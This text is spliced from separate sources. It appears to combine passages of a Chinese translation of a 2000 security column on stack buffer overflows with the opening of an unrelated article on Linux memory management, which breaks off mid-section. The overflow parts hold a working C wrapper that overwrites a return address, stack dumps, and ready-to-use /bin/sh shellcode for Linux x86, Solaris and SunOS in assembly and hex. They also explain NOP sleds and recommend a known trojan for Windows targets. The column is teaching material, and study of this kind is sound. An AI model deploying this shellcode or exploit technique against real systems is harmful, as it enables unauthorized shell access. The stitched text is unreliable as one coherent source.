*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
printf("%p\n", &concat_arguments);
}
int main(int argc, char **argv)
{
concat_arguments(argc, argv);
}
使用封装器来运行这个程序将导致类似如下的结果:
[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
Before picture of the stack:
0xbffff8fc: 98
0xbffff8fd: f9
0xbffff8fe: 9
0xbffff8ff: 40
0xbffff900: 84
0xbffff901: f9
0xbffff902: 9
0xbffff903: 40
0xbffff904: bc
0xbffff905: 1f
0xbffff906: 2
0xbffff907: 40
0xbffff908: 98
0xbffff909: f9
0xbffff90a: 9
0xbffff90b: 40
0xbffff90c: 60
0xbffff90d: 86
0xbffff90e: 4
0xbffff90f: 8
0xbffff910: 20
0xbffff911: f9
0xbffff912: ff
0xbffff913: bf
0xbffff914: 34
0xbffff915: 86
0xbffff916: 4
0xbffff917: 8
0xbffff918: 2
0xbffff919: 0
0xbffff91a: 0
0xbffff91b: 0
0xbffff91c: 40
0xbffff91d: f9
0xbffff91e: ff
0xbffff91f: bf
0xbffff920: 34
0xbffff921: f9
0xbffff922: ff
0xbffff923: bf
i = 1; argc = 2
0xbffff8fc: 78
0xbffff8fd: 78
0xbffff8fe: 78
0xbffff8ff: 78
0xbffff900: 78
0xbffff901: 78
0xbffff902: 78
0xbffff903: 78
0xbffff904: 78
0xbffff905: 78
0xbffff906: 78
0xbffff907: 78
0xbffff908: 78
0xbffff909: 78
0xbffff90a: 78
0xbffff90b: 78
0xbffff90c: 78
0xbffff90d: 78
0xbffff90e: 78
0xbffff90f: 78
0xbffff910: 78
0xbffff911: 78
0xbffff912: 78
0xbffff913: 78
0xbffff914: d4
0xbffff915: 84
0xbffff916: 4
0xbffff917: 8
0xbffff918: 0
0xbffff919: 0
0xbffff91a: 0
0xbffff91b: 0
0xbffff91c: 40
0xbffff91d: f9
0xbffff91e: ff
0xbffff91f: bf
0xbffff920: 34
0xbffff921: f9
0xbffff922: ff
0xbffff923: bf
i = 2; argc = 32
Segmentation fault (core dumped)
[viega@lima bo]$
我们应该特别注意 argc 。在堆栈的"前"版本中,它位于 0xbffff918 。它的值是 2,与所预期的一样。现在,这个变量在堆栈"后"版本中位于相同的位置,但是注意该值已经更改成 0。它为什么更改成 0 呢?因为我们忘记了 strcpy 会一直复制到 ― 并包括 ― 它在缓冲区中找到的第一个空字符为止。因此我们意外地用 0 覆盖了 argc
。哎呀!
但 argc 怎样从 0 变成 32 呢?打印出堆栈后看一下代码。其中, argc 不等于 i+1,因此我们在缓冲区的末尾加了一个空格;并且 argc 最低有效字节当前是缓冲区的末尾。因此空字符被一个空格(ASCII 32)替换。
现在很明显我们不能将那个空字符留在那里。如何解决这个问题呢?可以从我们的封装器中将 0x2 添加到缓冲区的末尾,这样我们将空字符写入第二个最低有效数字而不是最低有效数字中。这一更改将导致 0x2 出现在 0xbffff918 ,而 0x0 出现在 0xbffff919 ,导致 argc
的内存地址与堆栈的"前"版本和"后"版本完全一致。
这里是封装器代码的固定版本:
int main()
{
char* buf = (char *)malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0;i<24;i++) buf[i] = 'x';
buf[24] = 0xd4;
buf[25] = 0x84;
buf[26] = 0x4;
buf[27] = 0x8;
buf[28] = 0x2;
buf[29] = 0x00;
arr[0] = "./concat";
arr[1] = buf;
arr[2] = '\0';
execv("./concat", arr);
}
让我们在再次运行插入 concat.c 的代码之前(保留剩余的调试代码不动)对该代码编制文档。重新编译这两个程序后,运行封装器,会得到下列结果:
[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxx
0x80484d4
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x80484d4
Segmentation fault (core dumped)
[viega@lima bo]$
这个结果远不尽人意!代码跳回到函数的开始。
按您的想法堆栈存储构件
但是为什么程序没有象假设的那样永远循环下去呢?要给出问题的答案,需要深入理解在运行 Linux 的 x86 机器上使用 C 调用一个函数时发生了什么。堆栈中存在两个有趣的指针:基指针和堆栈指针。我们已经了解了基指针。它指向堆栈帧的中部。它用来简化从由编译器生成的汇编代码引用局部变量和参数。例如,当您恰好要在汇编代码中查找 concat_arguments 函数中的 i 变量,它却根本没有命名。而是被表示为距离基指针的常量偏移量。基指针位于寄存器
ebp 中。堆栈指针总是指向堆栈的顶部。将数据压入堆栈时,堆栈指针自动移动并指向它。从堆栈中弹出数据时堆栈指针会自动调整。
调用函数之前,调用者有一些责任。C 程序员不必担心这些责任,因为编译器会处理它们;但是如果深入研究程序的汇编版本,您就可以显式地看见这些步骤了。首先,调用者将被调用的函数所期望的所有参数都压入堆栈。完成该操作后,堆栈指针自动更改。接着调用者可以通过将一些其它数据压入堆栈来保存它们。完成后,调用者使用 x86 调用指令来调用函数。然后调用指令将返回地址压入堆栈(它通常是跟在调用后面的文本指令),并相应地更新堆栈指针。最后,调用指令使执行切换成被调用者 — 即,将程序计数器设置成正被调用的函数地址。
被调用者同样有一些责任。首先,通过将 ebp 寄存器的内容压入堆栈保存了调用者的基指针。它更新了堆栈指针,堆栈指针现在指向旧的基指针。(被调用者还负责将一些其它寄存器保存到堆栈,但是我们并不关心它们。)接下来,调用者设置 ebp 的值以便自己使用。将堆栈指针的当前值用作调用者的基指针。因此,将寄存器 esp 的内容复制到寄存器 ebp
。然后,被调用者移动堆栈指针以为所有局部分配的变量保留足够的空间。
当被调用者准备好返回时,调用者更新堆栈指针以指向返回地址。 ret 指令将程序控制传送到堆栈上的返回地址,然后移动堆栈指针来反映它。调用者恢复它想回复的任何状态(例如基指针),然后就可以顺利进行了。
现在我们重新开始实践,并弄清小程序运行时发生了什么。
完成执行被调用者的退出责任,然后跳回函数的顶部,从那里我们开始执行被调用者的入口责任。问题是我们完全忽略了调用者的责任。因为我们只是将控制传送回 concat_arguments ,所以调用者的责任就无关紧要了。但是当我们跳转至 concat_arguments 的顶部时,假设 main 在调用前应该完成的操作都未进行。
啊哈!当我们象以前一样跳转到函数开始时,有一件最重要的事情没有发生,即,没有将返回地址压入堆栈。结果堆栈指针上移了四个字节,这就弄乱了局部变量访问。然而,实际上导致崩溃的关键原因是在堆栈上缺少返回地址。当执行第二次到达 concat_arguments 末尾时,它尝试移动到堆栈上的返回地址 — 但是我们从未给过它返回地址。因此,当我们执行从堆栈中弹出时可能得到任何值,并且它们被保存为基指针。当然,我们只是已经使用
0x78787878 覆盖了保存的基指针。可怜的程序跳转到 0x78787878 并迅速崩溃。哎呀!
当然,实际上不必将程序放入无限循环中。我们已经演示了可以跳转到内存中的任意点然后运行代码。我们可以开始将注意力转向将漏洞检测代码放在堆栈上然后跳转到它们。我们也可以继续并让程序进入无限循环,只要确保我们已经掌握了材料。我们将在本专栏的下一篇文章中构建一个实际的利用。
这里是我们如何让程序进入无限循环。我们将返回地址更改成调用 concat_arguments 的一些指令,而不是将它更改成 concat_arguments 函数的顶部,因此将把一个有效的返回地址压入堆栈。如果将一个有效的返回地址返回堆栈,则基指针将是正确的,这意味着我们的输入将再一次覆盖正确位置处的返回地址,从而导致无限循环。
我们从 concat 的最新版本(它带有调试信息,但是没有打印堆栈内容的代码)开始。我们想打印函数 main 中调用指令的地址而不是 concat_arguments 的地址。我们如何获取该地址呢?不幸的是我们不能从 C 中获取该信息。我们必须从汇编语言中获得它。让我们象汇编语言一样编译 concat.c ,如下:
现在看一下 concat.s 的内容。您可能不熟悉汇编语言。这很好;不必能够理解大部分内容。只需要注意几件事情:
汇编代码中有许多标号,很象 C 中的 switch 切换标号。这些标号是您可以查看并跳转到的内存地址的抽象。例如,标号 concat_arguments 是 concat_arguments 函数的起始点。这是到目前为止我们跳转到的地址。如果您能够读懂汇编语言,只要稍懂一点,那么您将注意到发生的第一件事是当前基指针被压入程序堆栈。
搜索 pushl $concat_arguments 这一行,因为该行获取标号 concat_arguments 的内存地址。我们想查看调用 concat_arguments 的内存地址,而不查看 concat_arguments 的内存地址。我们必须快速更新这行汇编程序。
搜索 call concat_arguments 这一行,因为这是我们想跳转到的代码位置。
现在我们已经挑出了汇编代码的重要功能。接下来需要找出一种方法来获取 call concat_arguments 代码的内存地址。完成该任务的方法是添加标号。我们将一行汇编语言更改成下列两行:
JMP_ADDR:
call concat_arguments
接下来我们需要更改行 pushl $concat_arguments 以获取感兴趣的标号的地址。
此时,我们已经完成了对这个汇编代码所需的所有更改。保存它,然后使用下列命令来进行编译:
请注意我们现在正在编译 .s 文件而不是 .c 文件。
因此,如果现在运行 concat (或我们的封装器),该程序将打印出我们最终需要跳转到的内存地址。如果在封装器中运行 concat 将获取类似如下的输出:
[viega@lima bo]$ ./wrapconcat
Entering concat_arguments.
This should happen twice if our program jumps to the right place
i = 1; argc = 2
xxxxxxxxxxxxxxxxxxxxxxxx
0x804859f
Entering concat_arguments.
This should happen twice if our program jumps to the right place
xxxxxxxxxxxxxxxxxxxxxxxx
0x804859f
Segmentation fault (core dumped)
请注意内存地址与以前的不同了。让我们更改封装器以反映新的内存地址。
#include
int main()
{
char* buf = (char *)malloc(sizeof(char)*1024);
char **arr = (char **)malloc(sizeof(char *)*3);
int i;
for(i=0;i<24;i++) buf[i] = 'x';
buf[24] = 0x9f; /* Changed from 0xd4 on our machine */
buf[25] = 0x85; /* Changed from 0x84 on our machine */
buf[26] = 0x4;
buf[27] = 0x8;
buf[28] = 0x2;
buf[29] = 0x00;
arr[0] = "./concat";
arr[1] = buf;
arr[2] = '\0';
execv("./concat", arr);
}
现在可以进行编译然后运行封装器了。
起作用了!无限循环!
但是等一下 ― 我们还没有解决问题呢。我们正在运行的 concat 版本中具有许多调试信息。结果是所有调试信息都导致 main 方法中的代码移动到它原本不会去的地方。这是什么意思呢?只有在我们除去所有调试代码并且尝试使用封装器时,才会获取下列输出:
[viega@lima bo]$ ./wrapconcat
xxxxxxxxxxxxxxxxxxxxxxxx
Illegal instruction (core dumped)
[viega@lima bo]$
这个输出建议将函数 concat_arguments 的代码放入比 main 代码更低的内存地址。很明显,我们需要获取要返回的真实内存地址。可以通过反复试验达到目的。例如,可以尝试将指针一次移动一个字节直到获取期望的结果。我们不能除去太多字节,对吗?但是,有一个较简单的方法。
让我们采用原始的 concat.c 并对它进行一点修改:
/* Collect program arguments into a buffer, then print the buffer */
void concat_arguments(int argc, char **argv)
{
char buf[20];
char *p = buf;
int i;
for(i=1;i<argc;i++)
{
strcpy(p, argv[i]);
p+=strlen(argv[i]);
if(i+1 != argc)
{
*p++ = ' '; /* Add a space back in */
}
}
printf("%s\n", buf);
}
int main(int argc, char **argv)
{
concat_arguments(argc, argv);
printf("%p\n", &concat_arguments);
}
我们再次修改程序以打印出 concat_arguments 的地址。然而,这一次我们是在从 main 的 concat_arguments 返回之后再完成该操作。因为 main 是放入内存中的最后一个函数,并且这个代码出现在我们感兴趣的调用之后,所以我们的改动不会影响调用的内存地址。接下来,我们必须完全象以前一样做一些汇编语言处理,然后相应地调整封装器。这次,我们可能获取地址
0x804856b ,正如预期的那样,它和我们以前一直使用的地址不同。修改封装器然后重新编译它之后,可以从 concat 中除去 printf 然后重新编译。
当您重新编译 concat 并运行封装器时,将注意到每件事都在按预期进行。最后我们得到了正确结果,并且希望能从中学到了一些知识。
后续内容
在这次的专栏文章中,我们已经了解了如何破坏堆栈(最终是为了防止别人这样做)。现在我们只要弄清如何构建我们自己的攻击代码,将它插入程序,然后跳转到这些攻击代码。我们将在下一篇专栏文章中讨论这个问题。
参考资料
developerWorks 上"让您的软件运行起来"专栏中的相关文章:
关于作者
Gary McGraw 是 Reliable Software Technologies 的技术副总裁,该公司位于美国弗吉尼亚州的杜勒斯(Dulles)。他从事咨询服务和研究工作,帮助决定技术研究和开发方向。McGraw 在 Reliable Software Technologies 从一个研究科学家开始,从事软件工程和计算机安全性方面的研究。他拥有印第安那大学认知科学和计算机科学双博士学位,弗吉尼亚大学的哲学学士学位。他为技术刊物撰写了 40 余篇经同行审阅的文章,担任过主要的电子贸易供应商(包括 Visa 和 Federal Reserve)的顾问职务,并在空军研究实验室、DARPA、国家科学基金会以及 NIST 的高级技术计划赞助下担任其首席调研员。
McGraw 是移动代码安全性方面著名的权威人士,并且与普林斯顿的教授 Ed Felten 合作撰写了"Java Security: Hostile Applets, Holes, & Antidotes"(Wiley,1996)和"Securing Java: Getting down to business with mobile code"(Wiley,1999)。McGraw 和 RST 共同创始人和首席科学家 Dr. Jeffrey Voas 一起编写了"Software Fault Injection: Inoculating Programs Against Errors"(Wiley,1998)。McGraw 定期为一些受欢迎的商业出版物撰稿,而且其文章经常在全国出版的文章中所引用。
John Viega 是一名高级副研究员,Software Security Group 共同创始人,并担任 Reliable Software Technologies 的高级顾问。他是 DARPA 赞助的开发标准编程语言的安全性扩展的首席调研员。John 已撰写了 30 余篇涉及软件安全性和测试领域的技术性文章。他负责在主要网络和电子贸易产品中查找一些众所周知的安全性方面的薄弱环节,包括最近在 Netscape 安全性中的缺陷。他还是开放源码软件社区的重要成员,编写过 Mailman、GNU Mailing List Manager 以及最近发布的 ITS4(一种在 C 和 C++ 代码中查找安全性方面的薄弱环节的工具)。Viega 拥有弗吉尼亚大学计算机科学的硕士学位。
级别: 初级
Gary McGraw Reliable Software Technologies
John Viega Reliable Software Technologies
2000 年 3 月 01 日
在 上一篇专栏文章 里,我们解释了如何"破坏"程序堆栈 ― 也就是,如何覆盖返回地址并允许程序执行跳转到精心实现的攻击代码。我们解释了如何经由缓冲区溢出跳转到攻击代码,但是我们没有涉及任何有关在堆栈中放置漏洞检测代码的详细信息。这次我们将向您演示攻击代码实际上是什么样子的。
乍一看,实现缓冲区溢出漏洞检测似乎很容易,实际上,这是一项非常难的工作。弄清如何溢出特定缓冲区和修改返回地址占了一半的工作,这一点我们在上一部分中已经论述过。现在到了论述另一半工作的时候了 ― 也就是,如何"拥有"该程序并使该程序做您想做的任何事情。
在 UNIX 机器上,攻击者的目标是获得一个交互式 shell。这意味着典型的攻击代码通常企图启动 /bin/sh 。使用 C 语言启动 shell 的代码如下:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0x00);
}
在 Windows 环境里,通常的目标是下载一个恶意的特洛伊木马程序到机器上并执行该程序。可供使用的一个极好的特洛伊木马程序来自 Cult of the Dead Cow 的 Back Orifice 2000(参阅 参考资料
)。
在本文中,我们将讨论编写 UNIX 和 Windows 平台下的漏洞检测代码所涉及的主要问题。我们将不会象上次那样涉及很多教程式的详细信息,因为这样会涉及太多的汇编代码。我们这里的目标是确保没有很多汇编语言经验的读者能够跟上我们。如果想获得更详细的参考,请参阅
参考资料 。
UNIX 漏洞检测代码
让我们假定我们已获得一个 C 语言的 UNIX 函数,它完成我们想要它完成的任务(即,它为我们获取一个 shell)。给定该代码(显示在上面)和一个我们可以溢出的缓冲区(如上一部分文章所分析),我们如何将这两部分结合起来以获得我们想要的结果呢?
总的来说,我们所做的是:编译我们的攻击代码,抽取实际完成任务的二进制代码段( execl 调用),然后将编译过的漏洞检测代码插入到我们覆写的缓冲区。我们可以将该代码片段插入到我们必须覆写的返回地址之前或之后,这取决于空间限制。然后我们必须准确地计算溢出代码应该跳转到的位置,接下来以其适合覆写正常返回地址的方式将该地址放置在缓冲区中正确的位置上。所有这些意味着我们想要插入到我们正在溢出的缓冲区中的数据需要具有下面的样子:
位置
内容
缓冲区起点
漏洞检测代码可能适合这里;否则,其它地方
缓冲区终点
漏洞检测代码可能适合这里;否则,其它地方
其它变量
漏洞检测代码可能适合这里;否则,其它地方
返回地址?
导致漏洞检测代码运行的跳转位置
参数
漏洞检测代码,如果不能适合其它地方的话
堆栈的剩余部分
漏洞检测代码(续)以及代码所需的任何数据
有时,我们可以将漏洞检测代码置于返回地址之前,但通常那里没有足够的空间。如果我们的漏洞检测代码不很大,我们甚至需要填充剩余的空间。通常可以使用一系列小数点来填充任何额外空间。然而,有时候这样却不行。小数点填充方法是否起作用取决于代码的剩余部分完成什么功能。例如,在上一部分中,我们演示了代码,它有一个必须满足的需求,这就是必须将参数空间的一个字节设置成特定值。如果没有在正确的位置设置该特定值,程序将在有机会到达被覆盖的返回地址之前崩溃。
在任何情况下,最直接的问题是要获取攻击代码然后获取它的一些表示,我们可以将这些表示直接插入堆栈漏洞检测代码中。完成该项任务的一种方法是创建一个小二进制文件并做一个十六进制转储。这种方法经常需要花费一些精力来弄清该二进制文件的哪一部分完成哪些任务。幸运的是,有一个更好的方法来获得我们所需的代码。我们可以使用一个调试器!
首先我们编写一个调用漏洞检测函数的 C 程序:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0x00);
}
void main() {
exploit();
}
接下来我们启用调试编译该程序:
gcc -o exploit -g exploit.c
然后,我们使用 gdb,也就是 GNU 调试器,通过执行下列命令来运行该程序:
现在,通过使用下面的命令,我们可以观察汇编格式的代码,并可以看出每条指令映射到多少字节:
该命令会给出类似下面的结果:
Dump of assembler code for function exploit:0x8048474 <exploit>: pushl %ebp
0x8048475 <exploit+1>: movl %esp,%ebp
0x8048477 <exploit+3>: subl $0x4,%esp
0x804847a <exploit+6>: movl $0x80484d8,0xfffffffc(%ebp)
0x8048481 <exploit+13>: pushl $0x0
0x8048483 <exploit+15>: movl 0xfffffffc(%ebp),%eax
0x8048486 <exploit+18>: pushl %eax
0x8048487 <exploit+19>: movl 0xfffffffc(%ebp),%eax
0x804848a <exploit+22>: pushl %eax
0x804848b <exploit+23>: call 0x8048378 <execl>
0x8048490 <exploit+28>: addl $0xc,%esp
0x8048493 <exploit+31>: leave
0x8048494 <exploit+32>: ret
0x8048495 <exploit+33>: leal 0x0(%esi),%esi
End of assembler dump.
使用 x/bx 命令,可以一次得到以十六进制形式的该函数每个字节。要实现这一点,通过输入下面的命令来开始:
该实用程序将以十六进制形式向您演示第一个字节的值。例如:
不停地敲击 Enter 键,该实用程序将显示后续的字节。因为输出中将会出现单词 <exploit> ,所以您可以确定什么时候您所感兴趣的东西全部出现了。记住,我们(通常)不关心函数的开始和结束部分。您经常可以忽略这些字节,只要您使得所有的偏移相对于实际基指针( ebp )是正确的。
两个难题
直接从 C 语言编译漏洞检测代码有一些问题。最大的问题是,汇编版本的常量内存地址可能同我们要溢出的程序中的地址完全不同。例如,我们不知道 execl 将位于哪个地方,我们也不知道最终将字符串" /bin/sh "存储在什么地方。该死 ― 两个难题!
绕过第一个难题不难。我们可以将 execl 静态地链接到程序中,请观察生成的用于调用 execl 的汇编代码,然后直接使用该汇编代码。(结果 execl 是 execve 系统调用的封装器,因此,在代码中使用 execve 库调用然后反汇编它会更容易!)使用静态链接方法,我们最终直接调用系统调用,这取决于操作系统所拥有的系统调用的索引。该索引不会随安装而改变。
遗憾的是,第二个难题 ― 获取字符串的地址 ― 更麻烦。最容易做到的是,在内存中将字符串置于紧随代码之后,然后做一些简单的数学运算来计算出字符串相对于基指针的位置。然后我们可以借助于相对于基指针的已知偏移量来间接寻址该字符串,而无须担心实际内存地址。当然,其它高明的窃用也可以得到类似的结果。
在论述这两个主要难题时,很重要的一点是要记住,大多数带有易受缓冲区溢出攻击的缓冲区的函数都作用于空字符结束的字符串。这意味着,当这些函数碰到一个空字符时,它们会停止它们正在执行的任何操作(通常是某种复制)然后返回。因此,漏洞检测代码不可以包含任何空字节。如果因为某种原因漏洞检测代码绝对需要空值字节,这个字节必须是插入的最后一个字节,这样不会复制其后的任何内容了。
为了更好地理解这一点,让我们来考察我们编写的漏洞检测的 C 语言版本:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0x00);
}
0x00 是一个空字符,而且即使将其编译成二进制代码,它也是一个空字符。起初,这可能会有问题,因为我们需要以空字符结束 execl 的参数。然而,我们也可以不显式使用 0x00 而获取一个空字符。我们可以使用如下简单规则:任何数据同其本身进行异或(XOR)运算其结果是 0 。这样,我们可以用 C 语言按如下方式重新编写代码:
void exploit() {
char *s = "/bin/sh";
execl(s, s, 0xff ^ 0xff);
}
异或运算是一种好的近乎取巧的方法,但是它可能还不够。我们确实需要观察汇编语言及其十六进制映射以找出编译器是否在某些地方生成了任何空值字节。当找到空值字节时,我们通常需要重写该二进制代码以删除这些空值字节。删除空值字节最好通过编译成汇编语言,然后修改汇编语言代码来完成。
当然,我们可以简单地查阅一些已知的可以运行的 shell 启动代码,并复制它们来解决所有这些麻烦的问题。著名的黑客 Aleph One 已经为 Linux、Solaris 和 SunOS(参阅 参考资料
)编写了这种代码。这里,我们同时以汇编语言和十六进制的 ASCII 字符串形式复制每个平台下的该代码。
Intel 机器上的 Linux,汇编语言:
jmp 0x1f
popl %esi
movl %esi, 0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
Intel 机器上的 Linux,作为 ASCII 字符串:
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e
\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
SPARC Solaris,汇编语言:
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
SPARC Solaris,作为 ASCII 字符串:
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08
\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc
\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"
SPARC SunOS,以汇编语言:
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
SPARC SunOS,作为 ASCII 字符串:
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08
\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc
\x82\x10\x20\x3b\xaa\x10\x3f\xff\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01
\x91\xd5\x60\x01"
瞧 ― 马上就有了漏洞检测代码!
如何实现漏洞检测
当然,既然有了漏洞检测代码,我们需要将其放置在堆栈(或可以通过跳转进行访问的其它地方)。接下来,我们需要确定漏洞检测代码的确切地址,然后覆盖原来的返回地址以便程序执行跳转到漏洞检测的地址。
在上一部分中,我们发现对于特定的程序,堆栈的起始地址总是相同的,这一点是非常有用的。但漏洞检测代码的地址的实际值也是很重要的。如果该地址中含有一个空值字节会怎样呢(在 Windows 应用程序中这太常见了)会怎样呢?一个解决方案是找到一段代码,这段代码位于程序内存中并且跳转或返回到堆栈指针。当该执行函数返回时,堆栈指针被修改为正好指向我们的代码,控制随后转向漏洞检测代码地址。好极了!当然,我们必须确认带有这一指令的地址本身不含有空值字节。
如果我们对程序本身做了足够的分析,我们可能已经知道想要溢出的缓冲区的内存地址。例如,有时候当您没有程序源代码的副本可供使用时,您可以通过反复试验来完成这一任务。一旦确认了一个可溢出的缓冲区时,您通常可以通过逐步缩短测试字符串直到程序不再崩溃为止计算出缓冲区起点到返回地址之间的长度。接下来,就只是一个计算需要跳转到的实际地址的问题了。
大致了解堆栈的起始地址是很有帮助的。可以通过反复试验了解它。遗憾的是,我们必须获得精确到字节的地址,否则程序就会崩溃。使用反复试验的方法获取正确的地址可能会需要一段时间。为方便起见,我们可以在 shell 代码前插入大量空操作。这样,如果我们只是做到了近似而不是绝对正确,那么代码将仍然会执行。这种办法能够大幅度减少试图准确计算代码在堆栈中的位置所花费的时间。
有时我们不能溢出一个具有任意数量数据的缓冲区。这有几个原因。例如,我们可能找到一个 strncpy ,它将最多 100 个字节复制到一个 32 字节缓冲区中。这时,我们可以溢出 68 个字节,但再多了就不行。另外一个常见的问题是覆盖部分堆栈可能会在漏洞检测发生之前就产生灾难性的后果。通常,覆盖函数返回前要使用的重要参数或其它局部变量时,会产生这一问题。如果无法实现覆盖返回地址而不引起崩溃,那么解决办法是在利用溢出之前试图重构并模仿堆栈的状态。
如果真的存在大小限制,但是我们仍然能够覆盖返回地址,那么还有一些选择。我们可以试图找到堆溢出,并将代码放在堆中。跳转到堆中总是可能的。另外一个选择是将 shell 代码放在环境变量中,该变量通常存放在堆栈的顶部。
当实现漏洞检测时,在 Windows 平台下会碰到一些传统 UNIX 平台不会遇到的其它问题。最大的障碍是,您可能想要调用的许多感兴趣的函数是动态装入的。弄清这些函数在内存中的位置十分困难。如果它们不在内存中,那么您必须解决如何装入它们的问题。为了找到所有这些信息,您需要了解代码执行时装入什么 DLL,然后开始搜索这些 DLL 的导入表。(只要您使用同一个版本的 DLL,它们就是相同的。)结果这是十分困难的。如果您对此十分感兴趣,"DilDog"在其论文"The Tao of Windows Buffer Overflow"(参阅
参考资料 )中详细地讨论了有关实现 Windows 平台下的缓冲区溢出漏洞检测。
结束语
即使您已经掌握了我们的系列文章中所涉及的基本概念,实现堆栈溢出漏洞检测还是十分困难的。在直接应用这一理论时会碰到一堆实际问题。记住,尽可能窃取别人的工作成果会使得缓冲区溢出漏洞检测变得更容易!
参考资料
developerWorks 上"Make your software behave"专栏里的相关文章:
作者简介
Gary McGraw 是 Reliable Software Technologies 负责企业技术的副总裁,该公司位于美国弗吉尼亚州杜勒斯(Dulles)。他从事咨询服务和研究工作,帮助决定技术研究和开发方向。McGraw 在 Reliable Software Technologies 从一个研究科学家做起,从事软件工程和计算机安全性方面的研究。他拥有印第安那大学认知科学和计算机科学双博士学位,弗吉尼亚大学的哲学学士学位。他为技术刊物撰写了 40 余篇经同行审查的文章,担任过主要的电子贸易供应商(包括 Visa 和 Federal Reserve)的顾问职务,并在空军研究实验室、DARPA、国家科学基金会以及 NIST 的高级技术项目赞助下担任其首席调研员。
McGraw 是移动代码安全性方面著名的权威人士,并且与普林斯顿的教授 Ed Felten 合作撰写了"Java Security: Hostile Applets, Holes, & Antidotes"(Wiley, 1996)以及"Securing Java: Getting down to business with mobile code"(Wiley, 1999)。McGraw 和 RST 创始人之一、首席科学家 Dr. Jeffrey Voas 一起编写了"Software Fault Injection: Inoculating Programs Against Errors"(Wiley, 1998)。McGraw 定期为一些受欢迎的商业出版物撰稿,而且其文章经常在全国出版的文章中所引用。
John Viega 是一名高级副研究员,Software Security Group 的共同创始人,并担任 Reliable Software Technologies 的高级顾问。他是 DARPA 赞助的开发标准编程语言安全性扩展的首席调研员。John 已撰写了 30 余篇涉及软件安全性和测试领域的技术性文章。他负责在主要网络和电子商业产品中查找一些众所周知的安全性弱点,包括最近在 Netscape 安全性中的缺陷。他还是开放源码软件社区的重要成员,编写过 Mailman、GNU Mailing List Manager 以及最近发布的 ITS4(一种在 C 和 C++ 代码中查找安全性弱点的工具)。Viega 拥有弗吉尼亚大学计算机科学硕士学位。
23 avril
级别: 初级
Jonathan Bartlett (johnnyb@eskimo.com ), 技术总监, New Media Worx
2004 年 11 月 29 日
本文将对 Linux™ 程序员可以使用的内存管理技术进行概述,虽然关注的重点是 C 语言,但同样也适用于其他语言。文中将为您提供如何管理内存的细节,然后将进一步展示如何手工管理内存,如何使用引用计数或者内存池来半手工地管理内存,以及如何使用垃圾收集自动管理内存。
为什么必须管理内存
内存管理是计算机编程最为基本的领域之一。在很多脚本语言中,您不必担心内存是如何管理的,这并不能使得内存管理的重要性有一点点降低。对实际编程来说,理解您的内存管理器的能力与局限性至关重要。在大部分系统语言中,比如 C 和 C++,您必须进行内存管理。本文将介绍手工的、半手工的以及自动的内存管理实践的基本概念。
追溯到在 Apple II 上进行汇编语言编程的时代,那时内存管理还不是个大问题。您实际上在运行整个系统。系统有多少内存,您就有多少内存。您甚至不必费心思去弄明白它有多少内存,因为每一台机器的内存数量都相同。所以,如果内存需要非常固定,那么您只需要选择一个内存范围并使用它即可。
不过,即使是在这样一个简单的计算机中,您也会有问题,尤其是当您不知道程序的每个部分将需要多少内存时。如果您的空间有限,而内存需求是变化的,那么您需要一些方法来满足这些需求:
确定您是否有足够的内存来处理数据。
从可用的内存中获取一部分内存。
向可用内存池(pool)中返回部分内存,以使其可以由程序的其他部分或者其他程序使用。
实现这些需求的程序库称为 分配程序(allocators) ,因为它们负责分配和回收内存。程序的动态性越强,内存管理就越重要,您的内存分配程序的选择也就更重要。让我们来了解可用于内存管理的不同方法,它们的好处与不足,以及它们最适用的情形。
C 风格的内存分配程序
C 编程语言提供了两个函数来满足我们的三个需求:
malloc: 该函数分配给定的字节数,并返回一个指向它们的指针。如果没有足够的可用内存,那么它返回一个空指针。
free: 该函数获得指向由 malloc 分配的内存片段的指针,并将其释放,以便以后的程序或操作系统使用(实际上,一些 malloc 实现只能将内存归还给程序,而无法将内存归还给操作系统)。
物理内存和虚拟内存
